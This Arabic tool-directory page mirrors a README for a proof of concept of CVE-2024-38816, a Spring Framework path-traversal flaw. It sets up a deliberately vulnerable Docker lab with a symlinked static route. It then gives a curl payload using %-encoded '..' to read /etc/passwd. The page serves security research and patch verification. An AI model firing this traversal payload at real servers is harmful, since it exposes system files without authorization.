Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-38816-PoC — CVE-2024-38816 إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/wulinpin/cve-2024-38816-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

CVE-2024-38816 إثبات المفهوم

عرض المستودع
97منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم (PoC) لثغرة CVE-2024-38816

هذا إثبات مفهوم لثغرة CVE-2024-38816، يوضح استغلال اجتياز المسار (Path Traversal).

خطوات التنفيذ

  1. قم ببناء صورة Docker: (Spring Boot 3.0.13، استنادًا إلى Spring Framework 6.0.3)

    root@kitploit:~
    docker build -t cve-2024-38816-poc .
    
  2. شغّل الحاوية واعرض المنفذ 8080 على الجهاز المضيف:

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. شغّل الأمر التالي لتنفيذ إثبات المفهوم وتأكيد الثغرة:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    إذا تم عرض محتويات ملف /etc/passwd، فسيتم تأكيد الثغرة.

ملاحظات

تم إنشاء إثبات المفهوم هذا بناءً على تحليل ملاحظات الإصدار وسجلات الالتزامات (commit logs). قد يختلف سلوك الثغرة الفعلي، لذا لا يتم ضمان الدقة. استخدمه على مسؤوليتك الخاصة.

اعتبارات

  1. تم تصحيح الثغرة في Spring Framework 6.1.13، كما هو مؤكد في ملاحظات الإصدار.

  2. بعد مراجعة ملاحظات الإصدار وسجلات الالتزامات ذات الصلة، حددت المشكلتين التاليتين كاحتمال لارتباطهما بهذه الثغرة:

    • المشكلة #33424: تمت إضافة خيار جديد متعلق بالروابط الرمزية (symbolic links).
      • الالتزام ذو الصلة: 5d80d75051f395c17f6b9367e267d458585b336d
    • المشكلة #33434: تم تعديل الكود الخاص بتنظيف الأحرف المشفرة بنسبة % (%-encoded characters).
      • الالتزام ذو الصلة: d86bf8b2056429edf5494456cffcb2b243331c49
  3. وفقًا للاستشارة الأمنية، من المحتمل أن الشروط التالية يجب أن تتوفر لنجاح الهجوم:

    • يتم استخدام RouterFunctions
    • يتم استخدام FileSystemResource
    • توجد روابط رمزية
    • تشارك أحرف مشفرة بنسبة % في الهجوم

إعداد البيئة

يتم استخدام بيئة Docker لإعادة إنتاج الثغرة.

  1. أنشئ PathTraversalDemoApplication.java بالكود التالي لإعداد توجيه الملفات الثابتة باستخدام RouterFunction و FileSystemResource:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. أضف الأمر التالي إلى ملف Dockerfile لإنشاء رابط رمزي:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. أنشئ حمولة (payload) تستفيد من ترميز % لاجتياز الدلائل عبر الرابط الرمزي.

    • المسار: /static/link/%2e%2e/etc/passwd
  4. استخدم أمر curl التالي لتنفيذ إثبات المفهوم والتحقق من نجاح الهجوم:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    إذا نجح الهجوم، فسيتم عرض محتويات ملف /etc/passwd.

إخلاء مسؤولية

تم توفير إثبات المفهوم هذا لأغراض تعليمية وبحوث أمنية. قبل استخدامه في نظام حقيقي، تأكد من إصلاح الثغرة ومن حصولك على التصريح المناسب. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الكود.

تنزيل الأداة